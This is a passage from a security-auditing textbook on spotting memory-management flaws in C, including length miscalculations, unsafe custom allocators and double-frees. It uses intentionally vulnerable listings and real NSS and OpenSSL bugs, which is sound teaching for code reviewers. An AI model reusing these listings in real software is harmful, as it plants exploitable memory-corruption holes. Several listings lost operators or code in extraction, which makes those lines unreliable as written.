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Memory management is a core element of every program, whether it is performed 

explicitly by the developer or implicitly by the programming language and runtime. To 

complete your understanding of programming building blocks you need to examine 

the common issues in managing memory, and the security-relevant impact of 

mismanagement. The following sections explore these issues and present you with a 

few tools to help make you more productive in identifying memory management 

vulnerabilities. 

ACC Logs 

Errors in memory management are almost always the result of length miscalculations; 

so one of the first steps in auditing memory management is to develop a good process 

for identifying length miscalculations. Some miscalculations stand out, but others are 

quite easy to miss. So there's a tool help you identify even the most subtle length 

miscalculations, called allocation-check-copy (ACC) logs. An ACC log is simply 

intended to record any variations in allocation sizes, length checks, and data element 

copies that occur on a memory block. An ACC log is divided into three columns for 

each memory allocation. The first column contains a formula for describing the size of 

memory that's allocated, which can be a formula or a static number if the buffer is 

statically sized. The next column contains any length checks that data elements are 

subjected to before being copied into the allocated buffer. The third column is used to 

list which data elements are copied into the buffer and the way in which they are 

copied. Separate copies are listed one after the other. Finally, you can have an 

optional fourth column, where you note any interesting discrepancies you determined 

from the information in the other three columns. Look at a sample function in Listing 

7-33, and then examine its corresponding ACC log in Table 7-5. 

Listing 7-33. Length Miscalculation Example for Constructing an ACC Log 

int read_packet(int sockfd) 

{ 

    unsigned int challenge_length, ciphers_count; 

    char challenge[64]; 

    struct cipher *cipherlist; 

    int i; 

 

    challenge_length = read_integer(sockfd); 

 

    if(challenge_length > 64) 

        return -1; 

 

    if(read_bytes(sockfd, challenge, challenge_length) < 0) 

        return -1; 

 

    ciphers_count = read_integer(sockfd); 
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    cipherlist = (struct cipher *)allocate(ciphers_count * 

                  sizeof(struct cipher)); 

 

    if(cipherlist == NULL) 

        return -1; 

 

    for(i = 0; i < ciphers_count; i++) 

    { 

        if(read_bytes(sockfd, &cipherlist[i], 

                      sizeof(struct cipher) < 0) 

        { 

            free(cipherlist); 

            return -1; 

        } 

    } 

 

    ... more stuff here ... 

} 

 

Table 7-5. ACC Log 

  Allocation Check Copy Notes 

challenge 

variable 

64 Supplied 

length is less 

than or equal 

to 64 (check is 

unsigned) 

Copies 

length bytes 

Seems like a safe 

copy; checks are 

consistent 

cipherlist 

variable 

ciphers_count * 

sizeof (struct 

cipher) 

N/A Reads 

individual 

ciphers one 

at a time 

Integer overflow if 

(ciphers_count > 

0xFFFFFFFF) / 

sizeof(struct cipher) 

 

Listing 7-33 shows some code that reads a packet from a fictitious protocol and 

allocates and reads different elements from the packet. A sample ACC log is shown is 

Table 7-5. 

In the ACC log, you record the specifics of how a buffer is allocated, what length 

checks are performed, and how data is copied into the buffer. This compact format 

quickly summarizes how dynamic memory allocations and copies are done and 

whether they are safe. Notice that the entry for the cipherlist variable mentions that 

ciphers are copied one at a time. This detail is important when you're determining 
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whether an operation is safe. If this function did a single read of ciphers_count * 

sizeof(struct cipher), the allocation and copy lengths would be identical, so the code 

would be safe regardless of whether an integer overflow occurred. Checks sometimes 

happen before an allocation; if so, you might want to rearrange the first two columns 

to make the record easier to understand. 

ACC logs are intended to help you identify length checks that could cause problems; 

however, they aren't a complete assessment of the memory safety of an operation. 

To understand this point, look at the following example: 

    ciphers_count = read_integer(sockfd); 

 

    if(ciphers_count >= ((unsigned int)(~0)) 

                         /sizeof(struct cipher)) 

 

        return -1; 

 

    cipherlist = (struct cipher *) 

        allocate(ciphers_count * sizeof(struct cipher)); 

 

    if(cipherlist == NULL) 

        return -1; 

 

This code has a length check that you would add to your ACC record, but does this 

mean you can conclude this memory copy is secure? No. This function doesn't use a 

system allocator to allocate cipherlist; instead, it uses a custom allocate() function. 

To determine whether this code is secure, you need to consult your allocator 

scorecard (a tool introduced later in this section) as well. Only then could you 

conclude whether this allocation is safe. 

The following sections present several examples of buffer length miscalculations you 

can use to test out your ACC logging skills. These examples help expose you to a 

variety of situations in which length miscalculations occur, so you're comfortable as 

you encounter similar situations in your own code assessments. 

Unanticipated Conditions 

Length miscalculations can arise when unanticipated conditions occur during data 

processing. In the following example, the code is printing some user-supplied data 

out in hexadecimal: 

u_char *src, *dst, buf[1024]; 

 

for(src = user_data, dst = buf; *src; src++){ 
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    snprintf(dst, sizeof(buf) - (dst  buf), "%2.2x", src); 

    dst += 2; 

} 

 

This developer makes the assumption, however, that snprintf() successfully writes 

the two bytes into the buffer because the loop always increments dst by 2 (as shown 

in the bolded line). If no bytes or only one byte were left in the buffer, dst would be 

incremented too far, and subsequent calls to snprintf() would be given a negative 

size argument. This size would be converted to a size_t and, therefore, interpreted as 

a large positive value, which would allow bytes to be written past the end of the 

destination buffer. 

Data Assumptions 

Quite often when auditing code dealing with binary data, you see that programmers 

tend to be more trusting of the content, particularly in applications involving 

proprietary file formats and protocols. This is because they haven't considered the 

consequences of certain actions or they assume that only their applications will 

generate the client data or files. Often developers assume that no one would bother 

to reverse-engineer the data structures necessary to communicate with their 

software. History has told a very different story, however. People can, and frequently 

do, reverse-engineer closed-source products for the purpose of discovering security 

problems. If anything, researchers are even more willing and prepared to scrutinize 

complex and proprietary protocols via manual analysis, blackbox testing, and 

automated fuzzing. 

Some of the simplest examples of data assumption errors are those in which 

developers make assumptions about a data element's largest possible size, even 

when a length is specified before the variable-length data field! Listing 7-34 shows an 

example from the NSS library used in Netscape Enterprise (and Netscape-derived 

Web servers) for handling SSL traffic. 

Listing 7-34. Buffer Overflow in NSS Library's ssl2_HandleClientHelloMessage 

  csLen         = (data[3] << 8)  | data[4]; 

  sdLen         = (data[5] << 8)  | data[6]; 

  challengeLen  = (data[7] << 8)  | data[8]; 

  cs            = data + SSL_HL_CLIENT_HELLO_HBYTES; 

  sd            = cs + csLen; 

  challenge     = sd + sdLen; 

  PRINT_BUF(7, (ss, "server, client session-id value:", sd, 

            sdLen)); 

  if ((unsigned)ss->gs.recordLen != SSL_HL_CLIENT_HELLO_HBYTES 

                   + csLen + sdLen + challengeLen) { 
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    SSL_DBG(( 

      "%d: SSL[%d]: bad client hello message, len=%d should=%d", 

      SSL_GETPID(), ss->fd, ss->gs.recordLen, 

      SSL_HL_CLIENT_HELLO_HBYTES+csLen+sdLen+challengeLen)); 

    goto bad_client; 

  } 

 

  ... 

 

  /* Squirrel away the challenge for later */ 

  PORT_Memcpy(ss->sec.ci.clientChallenge, challenge, 

  challengeLen); 

 

In Listing 7-34, the server takes a length field of challenge data supplied by the client, 

and then copies that much data from the packet into the ss->sec.ci.ClientChallenge 

buffer, which is statically sized to 32 bytes. The code simply neglects to check 

whether the supplied length is smaller than the destination buffer. This simple error is 

fairly commoneven more so in closed-source applications. 

Order of Actions 

Actions that aren't performed in the correct order can also result in length 

miscalculation. Listing 7-35 shows a subtle example of how this problem could occur. 

Listing 7-35. Out-of-Order Statements 

int log(int level, char *fmt, ...) 

{ 

    char buf[1024], *ptr = buf, *level_string; 

    size_t maxsize = sizeof(buf) - 1; 

    va_list ap; 

 

    ... 

    switch(level){ 

        case ERROR: 

            level_string = "error"; 

            break; 

 

        case WARNING: 

            level_string = "warning"; 

            break; 

 

        case FATAL: 
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            level_string = "fatal"; 

            break; 

 

        default: 

            level_string = ""; 

            break; 

    } 

 

    sprintf(ptr, "[%s]: ", level_string); 

    maxsize -= strlen(ptr); 

    ptr += strlen(ptr); 

 

    sprintf(ptr, "%s: ", get_time_string()); 

    ptr += strlen(ptr); 

    maxsize -= strlen(ptr); 

 

    va_start(ap, fmt); 

    vsnprintf(ptr, maxsize, fmt, ap); 

    va_end(ap); 

 

    ... 

 

Listing 7-35 contains an error where it writes the time string, returned from 

get_time_string(), into the buffer. The ptr variable is incremented to the end of the 

time string, and then the string length of ptr is subtracted from maxsize. These two 

operations happen in the wrong order. Because ptr has already been incremented, 

maxsize is decremented by zero. Therefore, maxsize fails to account for the time string, 

and a buffer overflow could occur when vsnprintf() is called with the incorrect length. 

Multiple Length Calculations on the Same Input 

A common situation that leads to length miscalculations in applications is data being 

processed more than once at different places in the programtypically with an initial 

pass to determine the length and then a subsequent pass to perform the data copy. 

In this situation, the auditor must determine whether any differences exist between 

the length calculation code fragment and the data copy code fragment. The following 

code from Netscape Enterprise/Mozilla's NSS library shows code responsible for 

processing UCS2 data strings. The function iterates through the string and calculates 

the amount of space needed for output, and if the destination buffer is large enough, 

the function stores it. Listing 7-36 shows the loop for this calculation. 

Listing 7-36. Netscape NSS Library UCS2 Length Miscalculation 
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R_IMPLEMENT(PRBool) 

sec_port_ucs2_utf8_conversion_function 

( 

 PRBool toUnicode, 

 unsigned char *inBuf, 

 unsigned int inBufLen, 

 unsigned char *outBuf, 

 unsigned int maxOutBufLen, 

 unsigned int *outBufLen 

) 

{ 

 PORT_Assert((unsigned int *)NULL != outBufLen); 

 

 if( toUnicode ) { 

   .. 

 } else { 

   unsigned int i, len = 0; 

   PORT_Assert((inBufLen % 2) == 0); 

   if ((inBufLen % 2) != 0) { 

     *outBufLen = 0; 

     return PR_FALSE; 

   } 

 

   for( i = 0; i < inBufLen; i += 2 ) { 

     if( (inBuf[i+H_0] == 0x00) 

        && ((inBuf[i+H_0] & 0x80) == 0x00) ) 

       len += 1; 

     else if( inBuf[i+H_0] < 0x08 ) len += 2; 

     else if( ((inBuf[i+0+H_0] & 0xDC) == 0xD8) ) { 

       if( ((inBuf[i+2+H_0] & 0xDC) == 0xDC) 

          && ((inBufLen - i) > 2) ) { 

         i += 2; 

         len += 4; 

       } else { 

         return PR_FALSE; 

       } 

     } 

     else len += 3; 

   } 

 

Note that there's a small variance when the data copy actually occurs later in the 

same function, as shown in the following code: 
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    for( i = 0; i < inBufLen; i += 2 ) { 

      if( (inBuf[i+H_0] == 0x00) 

         && ((inBuf[i+H_1] & 0x80) == 0x00) ) { 

        /* 0000-007F -> 0xxxxxx */ 

        /* 00000000 0abcdefg -> 0abcdefg */ 

 

        outBuf[len] = inBuf[i+H_1] & 0x7F; 

 

        len += 1; 

      } else if( inBuf[i+H_0] < 0x08 ) { 

        /* 0080-07FF -> 110xxxxx 10xxxxxx */ 

        /* 00000abc defghijk -> 110abcde 10fghijk */ 

 

        outBuf[len+0] = 0xC0 | ((inBuf[i+H_0] & 0x07) << 2) 

                             | ((inBuf[i+H_1] & 0xC0) >> 6); 

        outBuf[len+1] = 0x80 | ((inBuf[i+H_1] & 0x3F) >> 0); 

 

        len += 2; 

 

        ... 

 

Do you see it? When the length calculation is performed, only one byte of output is 

expected when a NUL byte is encountered in the character stream because the H_0 

offset into inBuf is used twice in the length calculation. You can see that the developer 

intended to test the following byte to see whether the high-bit is set but uses H_0 

instead of H_1. The same mistake isn't made when the actual copy occurs. During the 

copy operation, you can clearly see that if the following byte has the highest bit set, 

two bytes are written to the output buffer because a second check is in the bolded if 

clause. Therefore, by supplying data containing the byte sequence 0x00, 0x80, you 

can cause more data to be written to the output buffer than was originally anticipated. 

As it turns out, the vulnerability can't be exploited in Netscape because the output 

buffer is rather large, and not enough input data can be supplied to overwrite 

arbitrary memory. Even though the error isn't exploitable, the function still performs 

a length calculation incorrectly, so it's worth examining. 

Allocation Functions 

Problems can occur when allocation functions don't act as the programmer expects. 

Why would they not act as expected? You supply a size, and the function returns a 

memory block of that size. It's simple, right? However, code doesn't always behave 

exactly as expected; when dealing with memory allocations you need to be aware of 

the unusual cases. 
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Larger applications often use their own internal memory allocation instead of calling 

the OS's allocation routines directly. These application-specific allocation routines can 

range from doing nothing except calling the OS routines (simple wrappers) to 

complex allocation subsystems that optimize the memory management for the 

application's particular needs. 

You can generally assume that system libraries for memory allocation are used 

extensively and are presumably quite sound; however, the same can't be said for 

application-specific allocators because they run the gamut in terms of quality. 

Therefore, code reviewers must watch for erroneous handling of requests instead of 

assuming these custom routines are sound. You should audit them as you would any 

other complex codeby keeping a log of the semantics of these routines and noting 

possible error conditions and the implications of those errors. 

Because allocation routines are so universal and try to achieve much the same 

purpose from application to application, the following sections cover the most 

common problems you should watch for. 

Is It Legal to Allocate 0 Bytes? 

Many code auditors know that requesting an allocation of 0 bytes on most OS 

allocation routines is legal. A chunk of a certain minimum size (typically 12 or 16 

bytes) is returned. This piece of information is important when you're searching for 

integer-related vulnerabilities. Consider the code in Listing 7-37. 

Listing 7-37. Integer Overflow with 0-Byte Allocation Check 

char *get_string_from_network(int sockfd) 

{ 

  unsigned int length, read_bytes; 

  char *string; 

  int n; 

 

  length = get_integer_from_network(sockfd); 

 

  string = (char *)my_malloc(length + 1); 

 

  if(!string) 

    return NULL; 

 

  for(read_bytes = 0; read_bytes < length; read_bytes += n){ 

    n = read(sockfd, string + read_bytes, 

                 length  read_bytes); 

 

    if(n < 0){ 
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      free(string); 

      return NULL; 

    } 

 

  } 

  string[length] = '\0'; 

 

  return string; 

} 

 

In this code, attackers can specify a length that's incremented and passed to 

my_malloc(). The call to my_malloc() will be passed the value 0 when the length 

variable contains the maximum integer that can be represented (0xFFFFFFFF), due to 

an integer overflow. String data of length bytes is then read into the chunk of memory 

returned by the allocator. If this code called the malloc() or calloc() system 

allocation routines directly, you could conclude that it's a vulnerability because 

attackers can cause a large amount of data to be copied directly into a very small 

buffer, thus corrupting the heap. However, the code isn't using system libraries 

directly; it's using a custom allocation routine. Here is the code for my_malloc(): 

void *my_malloc(unsigned int size) 

{ 

    if(size == 0) 

        return NULL; 

 

    return malloc(size); 

} 

 

Although the allocation routine does little except act as a wrapper to the system 

library, the one thing it does do is significant: It specifically checks for 0-byte 

allocations and fails if one is requested. Therefore, the get_string_from_network() 

function, although not securely coded, isn't vulnerable (or, more accurately, isn't 

exploitable) to the integer overflow bug explained previously. 

The example in Listing 7-37 is very common. Developers often write small wrappers 

to allocation routines that check for 0-byte allocations as well as wrappers to free() 

functions that check for NULL pointers. In addition, potential vulnerabilities, such as 

the one in get_string_from_network(), are common when processing binary protocols 

or file formats. It is often necessary to add a fixed size header or an extra space for 

the NUL character before allocating a chunk of memory. Therefore, you must know 

whether 0-byte allocations are legal, as they can mean the difference between code 

being vulnerable or not vulnerable to a remote memory corruption bug. 
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Does the Allocation Routine Perform Rounding on the Requested Size? 

Allocation function wrappers nearly always round up an allocation size request to 

some boundary (8-byte boundary, 16-byte boundary, and so on). This practice is 

usually acceptable and often necessary; however, if not performed properly it could 

expose the function to an integer overflow vulnerability. An allocation routine 

potentially exposes itself to this vulnerability when it rounds a requested size up to 

the next relevant boundary without performing any sanity checks on the request size 

first. Listing 7-38 shows an example. 

Listing 7-38. Allocator-Rounding Vulnerability 

void *my_malloc2(unsigned int size) 

{ 

    if(size == 0) 

        return NULL; 

 

    size = (size + 15) & 0xFFFFFFF0; 

 

    return malloc(size); 

} 

 

The intention of the bolded line in this function is to round up size to the next 16-byte 

boundary by adding 15 to the request size, and then masking out the lower four bits. 

The function fails to check that size is less than the 0xFFFFFFF1, however. If this 

specific request size is passed (or any request size between 0xFFFFFFF1 up to and 

including 0xFFFFFFFF), the function overflows a 32-bit unsigned integer and results in 

a 0-byte allocation. Keep in mind that this function would not be vulnerable if size had 

been checked against 0 after the rounding operation. Often the difference between 

vulnerable and safe code is a minor change in the order of events, just like this one. 

Are Other Arithmetic Operations Performed on the Request Size? 

Although rounding up an unchecked request size is the most common error that 

exposes an allocation routine to integer vulnerabilities, other arithmetic operations 

could result in integer-wrapping vulnerabilities. The second most common error 

happens when an application performs an extra layer of memory management on top 

of the OS's management. Typically, the application memory management routines 

request large memory chunks from the OS and then divide it into smaller chunks for 

individual requests. Some sort of header is usually prepended to the chunk and hence 

the size of such a header is added to the requested chunk size. Listing 7-39 shows an 

example. 

Listing 7-39. Allocator with Header Data Structure 
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void *my_malloc3(unsigned int size) 

{ 

    struct block_hdr *hdr; 

    char *data; 

    data = (char *)malloc(size + sizeof(struct block_hdr)); 

 

    if(!data) 

        return NULL; 

 

    hdr = (struct block_hdr *)data; 

 

    hdr->data_ptr = (char *)(data + sizeof(struct block_hdr)); 

    hdr->end_ptr = data + sizeof(struct block_hdr) + size; 

 

    return hdr->data_ptr; 

} 

 

This simple addition operation introduces the potential for an integer overflow 

vulnerability that is very similar to the problem in Listing 7-37. In this case, the 

my_malloc3() function is vulnerable to an integer overflow for any size values 

between 0xFFFFFFFF and 0xFFFFFFFF - sizeof(struct block_hdr). Any value in this 

range will result in the allocation of a small buffer for an extremely large length 

request. 

Reallocation functions are also susceptible to integer overflow vulnerabilities because 

an addition operation is usually required when determining the size of the new 

memory block to allocate. Therefore, if users can specify one of these sizes, there's a 

good chance of an integer wrap occurring. Adequate sanity checking is rarely done to 

ensure the safety of reallocation functions, so code reviewers should inspect carefully 

to make sure these checks are done. Listing 7-40 shows a function that increases a 

buffer to make space for more data to be appended. 

Listing 7-40. Reallocation Integer Overflow 

int buffer_grow(struct buffer *buf, unsigned long bytes) 

{ 

    if(buf->alloc_size  buf->used >= bytes) 

        return 0; 

 

    buf->data = (char *)realloc(buf->data, 

                                buf->alloc_size + bytes); 

 

    if(!buf->data) 
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        return 1; 

 

    buf->alloc_size += bytes; 

 

    return 0; 

} 

 

The bolded code in Listing 7-40 shows a potentially dangerous addition operation. If 

users can specify the bytes value, bytes + buf->alloc_size can be made to wrap, and 

realloc() returns a small chunk without enough space to hold the necessary data. 

Are the Data Types for Request Sizes Consistent? 

Sometimes allocation functions can behave unexpectedly because of typing issues. 

Many of the typing issues discussed in Chapter 6(? [????.]) are especially relevant 

when dealing with allocators, as any mistake in type conversions more than likely 

results in a memory corruption vulnerability that's readily exploitable. 

On occasion, you might come across memory allocators that use 16-bit sizes. These 

functions are more vulnerable to typing issues than regular allocators because the 

maximum value they can represent is 65535 bytes, and users are more likely to be 

able to specify data chunks of this size or larger. Listing 7-41 shows an example. 

Listing 7-41. Dangerous Data Type Use 

void *my_malloc4(unsigned short size) 

{ 

    if(!size) 

        return NULL; 

 

    return malloc(size); 

} 

 

The only thing you need to do to trigger a vulnerability is find a place in the code 

where my_malloc4() can be called with a value can be larger than 65535 (0xFFFF) 

bytes. If you can trigger an allocation of a size such as 0x00010001 (which, 

depending on the application, isn't unlikely), the value is truncated to a short, 

resulting in a 1-byte allocation. 

The introduction of 64-bit systems can also render allocation routines vulnerable. 

Chapter 6(? [????.]) discusses 64-bit typing issues in more detail, but problems can 

happen when intermixing long, size_t, and int data types. In the LP64 compiler 

model, long and size_t data types are 64-bit, whereas int types occupy only 32 bits. 
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Therefore, using these types interchangeably can have unintended and unexpected 

results. To see how this might be a problem, take another look at a previous example. 

void *my_malloc(unsigned int size) 

{ 

    if(size == 0) 

        return NULL; 

 

    return malloc(size); 

} 

 

As stated previously, this allocation wrapper doesn't do much except check for a 

0-length allocation. However, it does one significant thing: It takes an unsigned int 

parameter, as opposed to a size_t, which is what the malloc() function takes. On a 

32-bit system, these data types are equivalent; however, on LP64 systems, they are 

certainly not. Imagine if this function was called as in Listing 7-42. 

Listing 7-42. Problems with 64-Bit Systems 

int read_string(int fd) 

{ 

    size_t length; 

    char *data; 

 

    length = get_network_integer(fd); 

 

    if(length + 2 < length) 

        return -1; 

 

    data = (char *)my_malloc(length + 2); 

 

    ... read data ... 

} 

 

The read_string() function specifically checks for integer overflows before calling the 

allocation routine. On 32-bit systems, this code is fine, but what about 64-bit systems? 

The length variable in read_string() is a size_t, which is 64 bits. Assuming that 

get_network_integer() returns an int, look at the integer overflow check more 

carefully: 

    if(length + 2 < length) 

        return -1; 
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On an LP64 system both sides of this expression are 64-bit integers, so the check can 

only verify that a 64-bit value does not overflow. When my_malloc() is called, however, 

the result is truncated to 32 bits because that function takes a 32-bit integer 

parameter. Therefore, on a 64-bit system, this code could pass the first check with a 

value of 0x100000001, and then be truncated to a much smaller value of 0x1 when 

passed as a 32-bit parameter. 

Whether values passed to memory allocation routines are signed also becomes quite 

important. Every memory allocation routine should be checked for this condition. If 

an allocation routine doesn't do anything except pass the integer to the OS, it might 

not matter whether the size parameter is signed. If the routine is more complex and 

performs calculations and comparisons based on the size parameter, however, 

whether the value is signed is definitely important. Usually, the more complicated the 

allocation routine, the more likely it is that the signed condition of size parameters 

can become an issue. 

Is There a Maximum Request Size? 

A lot of the previous vulnerability conditions have been based on a failure to sanity 

check request sizes. Occasionally, application developers decide to arbitrarily build in 

a maximum limit for how much memory the code allocates, as shown in Listing 7-43. 

A maximum request size often thwarts many potential attacks on allocation routines. 

Code auditors should identify whether a maximum limit exists, as it could have an 

impact on potential memory corruption vulnerabilities elsewhere in the program. 

Listing 7-43. Maximum Limit on Memory Allocation 

#define MAX_MEMORY_BLOCK 100000 

 

void *my_malloc5(unsigned int size) 

{ 

    if(size > MAX_MEMORY_BLOCK) 

        return NULL; 

 

    size = (size + 15) & 0xFFFFFFF0; 

 

    return malloc(size); 

} 

 

The allocator in Listing 7-43 is quite restrictive, in that it allows allocating only small 

chunks. Therefore, it's not susceptible to integer overflows when rounding up the 

request size after the size check. If rounding were performed before the size check 

rather than after, however, the allocator would still be vulnerable to an integer 

overflow. Also, note whether the size parameter is signed. Had this argument been 
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negative, you could evade this maximum size check (and wrap the integer over the 

0-boundary during the rounding up that follows the size check). 

Is a Different Size Memory Chunk Than Was Requested Ever Returned? 

Essentially all integer-wrapping vulnerabilities become exploitable bugs for one 

reason: A different size memory chunk than was requested is returned. When this 

happens, there's the potential for exploitation. Although rare, occasionally a memory 

allocation routine can resize a memory request. Listing 7-44 shows the previous 

example slightly modified. 

Listing 7-44. Maximum Memory Allocation Limit Vulnerability 

#define MAX_MEMORY_BLOCK 100000 

 

void *my_malloc6(unsigned int size) 

{ 

    if(size > MAX_MEMORY_BLOCK) 

        size = MAX_MEMORY_BLOCK; 

 

    size = (size + 15) & 0xFFFFFFF0; 

 

    return malloc(size); 

} 

 

The my_malloc6() function in Listing 7-44 doesn't allocate a block larger than 

MAX_MEMORY_BLOCK. When a request is made for a larger block, the function resizes the 

request instead of failing. This is very dangerous when the caller passes a size that 

can be larger than MAX_MEMORY_BLOCK and assumes it got a memory block of the size it 

requested. In fact, there's no way for the calling function to know whether 

my_malloc6() capped the request size at MAX_MEMORY_BLOCK, unless every function that 

called this one checked to make sure it wasn't about to request a block larger than 

MAX_MEMORY_BLOCK, which is extremely unlikely. To trigger a vulnerability in this 

program, attackers simply have to find a place where they can request more than 

MAX_MEMORY_BLOCK bytes. The request is silently truncated to a smaller size than 

expected, and the calling routine invariably copies more data into that block than was 

allocated, resulting in memory corruption. 

Allocator Scorecards and Error Domains 

When reviewing applications, you should identify allocation routines early during the 

audit and perform a cursory examination on them. At a minimum, you should address 

each potential danger area by scoring allocation routines based on the associated 

vulnerability issuescreating a sort of scorecard. You can use this scorecard as a 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 396 

shorthand method of dealing with allocators so that you don't need to create 

extensive audit log. However, you should still search for and note any unique 

situations that haven't been addressed in your scorecard, particularly when the 

allocation routine is complex. Take a look at what these allocator scorecards might 

look like in Table 7-6. 

Table 7-6. Allocator Scorecard 

Function prototype int my_malloc(unsigned long size) 

0 bytes legal Yes 

Rounds to 16 bytes 

Additional 

operations 

None 

Maximum size 100 000 bytes 

Exceptional 

circumstances 

When a request is made larger than 100 000 bytes, the 

function rounds off the size to 100 000. 

Notes The rounding is done after the maximum size check, so there is 

no integer wrap there. 

Errors None, only if malloc() fails. 

 

This scorecard summarizes all potential allocator problem areas. There's no column 

indicating whether values are signed or listing 16-bit issues because you can instantly 

deduce this information from looking at the function prototype. If the function has 

internal issues caused by the signed conditions of values, list them in the Notes row 

of the scorecard. For simple allocators, you might be able to summarize even further 

to error domains. An error domain is a set of values that, when supplied to the 

function, generate one of the exceptional conditions that could result in memory 

corruption. Table 7-7 provides an example of summarizing a single error domain for 

a function. 

Table 7-7. Error Domain 

Function prototype int my_malloc() 

Error domain 0xFFFFFFF1 to 0xFFFFFFFF 

Implication Integer wrap; allocates a small chunk 

 

Each allocator might have a series of error domains, each with different implications. 

This shorthand summary is a useful tool for code auditing because you can refer to it 

and know right away that, if an allocator is called with one of the listed values, there's 
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a vulnerability. You can go through each allocator quickly as it's called to see if this 

possibility exists. The advantage of this tool is that it's compact, but the downside is 

you lose some detail. For more complicated allocators you may need to refer to more 

detailed notes and function audit logs. 

Error domain tables can be used with any functions you audit, not just allocators; 

however, there are some disadvantages. Allocation functions tend to be small and 

specific, and you more or less know exactly what they do. Allocator scorecards and 

error domain tables help capture the differences between using system-supplied 

allocation routines and application-specific ones that wrap them. With other functions 

that perform more complex tasks, you might lose too much information when 

attempting to summarize them this compactly. 

Double-Frees 

Occasionally, developers make the mistake of deallocating objects twice (or more), 

which can have consequences as serious as any other form of heap corruption. 

Deallocating objects more than once is dangerous for several reasons. For example, 

what if a memory block is freed and then reallocated and filled with other data? When 

the second free() occurs, there's no longer a control structure at the address passed 

as a parameter to free(), just some arbitrary program data. What's to prevent this 

memory location from containing specially crafted data to exploit the heap 

management routines? 

There is also a threat if memory isn't reused between successive calls to free() 

because the memory block could be entered into free-block list twice. Later in the 

program, the same memory block could be returned from an allocation request twice, 

and the program might attempt to store two different objects at the same location, 

possibly allowing arbitrary code to run. The second example is less common these 

days because most memory management libraries (namely, Windows and GNU libc 

implementations) have updated their memory allocators to ensure that a block 

passed to free() is already in use; if it's not, the memory allocators don't do anything. 

However, some OSs have allocators that don't protect against a double free attack; so 

bugs of this nature are still considered serious. 

When auditing code that makes use of dynamic memory allocations, you should track 

each path throughout a variable's lifespan to see whether it's accidentally deallocated 

with the free() function more than once. Listing 7-45 shows an example of a 

double-free vulnerability. 

Listing 7-45. Double-Free Vulnerability 

int read_data(int sockfd) 

{ 

    char *data; 
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    int length; 

 

    length = get_short_from_network(sockfd); 

 

    data = (char *)malloc(length+1); 

 

    if(!data) 

        return 1; 

 

    read_string(sockfd, data, length); 

    switch(get_keyword(data)){ 

        case USERNAME: 

            success = record_username(data); 

            break; 

 

        case PASSWORD: 

            success = authenticate(data); 

            break; 

 

        default: 

            error("unknown keyword supplied!\n"); 

            success = -1; 

            free(data); 

 

    } 

 

    free(data); 

 

    return success; 

} 

 

In this example, you can see that the bolded code path frees data twice because when 

it doesn't identify a valid keyword. Although this error seems easy to avoid, complex 

applications often have subtleties that make these mistakes harder to spot. Listing 

7-46 is a real-world example from OpenSSL 0.9.7. The root cause of the problem is 

the CRYPTO_realloc_clean() function. 

Listing 7-46. Double-Free Vulnerability in OpenSSL 

void *CRYPTO_realloc_clean(void *str, int old_len, int num, const 

char 

*file, 

               int line) 
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    { 

    void *ret = NULL; 

 

    if (str == NULL) 

        return CRYPTO_malloc(num, file, line); 

 

     if (num < 0) return NULL; 

 

    if (realloc_debug_func != NULL) 

        realloc_debug_func(str, NULL, num, file, line, 0); 

    ret=malloc_ex_func(num,file,line); 

    if(ret) 

        memcpy(ret,str,old_len); 

    OPENSSL_cleanse(str,old_len); 

    free_func(str); 

 

    ... 

    return ret; 

    } 

 

As you can see, the CRYPTO_realloc_clean() function frees the str parameter passed 

to it, whether it succeeds or fails. This interface is quite unintuitive and can easily lead 

to double-free errors. The CRYPTO_realloc_clean() function is used internally in a 

buffer-management routine, BUF_MEM_grow_clean(), which is shown in the following 

code: 

int BUF_MEM_grow_clean(BUF_MEM *str, int len) 

    { 

    char *ret; 

    unsigned int n; 

    if (str->length >= len) 

        { 

        memset(&str->data[len],0,str->length-len); 

        str->length=len; 

        return(len); 

        } 

    if (str->max >= len) 

        { 

        memset(&str->data[str->length],0,len-str->length); 

        str->length=len; 

        return(len); 

        } 

    n=(len+3)/3*4; 
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    if (str->data == NULL) 

        ret=OPENSSL_malloc(n); 

    else 

        ret= 

    if (ret == NULL) 

        { 

        BUFerr(BUF_F_BUF_MEM_GROW,ERR_R_MALLOC_FAILURE); 

        len=0; 

        } 

    else 

        { 

        str->data=ret; 

        str->max=n; 

        memset(&str->data[str->length],0,len-str->length); 

        str->length=len; 

        } 

    return(len); 

} 

 

As a result of calling OPENSSL_realloc_clean(), the BUF_MEM_grow_clean() function 

might actually free its own data element. However, it doesn't set data to NULL when 

this reallocation failure occurs. This quirky behavior makes a double-free error likely 

in functions that use BUF_MEM structures. Take a look at this call in 

asn1_collate_primitive(): 

       if (d2i_ASN1_bytes(&os,&c->p,c->max-c->p, c->tag,c->xclass) 

           == NULL) 

           { 

           c->error=ERR_R_ASN1_LIB; 

           goto err; 

           } 

 

       if (!BUF_MEM_grow_clean(&b,num+os->length)) 

            { 

            c->error=ERR_R_BUF_LIB; 

            goto err; 

            } 

    ... 

 

err: 

    ASN1err(ASN1_F_ASN1_COLLATE_PRIMITIVE,c->error); 

    if (os != NULL) ASN1_STRING_free(os); 

    if (b.data != NULL) OPENSSL_free(b.data); 

    return(0); 
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    } 

 

This function attempts to grow the BUF_MEM structure b, but when an error is returned, 

it frees any resources it has and returns 0. As you know now, if BUF_MEM_grow_clean() 

fails because of a failure in CRYPTO_realloc_clean(), it frees b.data but doesn't set it 

to NULL. Therefore, the bolded code frees b.data a second time. 

Code auditors should be especially aware of double-frees when auditing C++ code. 

Sometimes keeping track of an object's internal state is difficult, and unexpected 

states could lead to double-frees. Be mindful of members that are freed in more than 

one member function in an object (such as a regular member function and the 

destructor), and attempt to determine whether the class is ever used in such a way 

that an object can be destructed when some member variables have already been 

freed. 

Double-free errors can crop up in other ways. Many operating systems' reallocation 

routines free a buffer that they're supposed to reallocate if the new size for the buffer 

is 0. This is true on most UNIX implementations. Therefore, if an attacker can cause 

a call to realloc() with a new size of 0, that same buffer might be freed again later; 

there's a good chance the buffer that was just freed will be written into. Listing 7-47 

shows a simple example. 

Listing 7-47. Reallocation Double-Free Vulnerability 

#define ROUNDUP(x) (((x)+15) & 0xFFFFFFF0) 

 

int buffer_grow(buffer *buf, unsigned int size) 

{ 

    char *data; 

    unsigned int new_size = size + buf->used; 

 

    if(new_size < size) 

        return 1;            /* integer overflow */ 

    data = (char *)realloc(buf->data, ROUNDUP(new_size)); 

 

    if(!data) 

        return 1; 

 

    buf->data = data; 

    buf->size = new_size; 

 

    return 0; 

} 
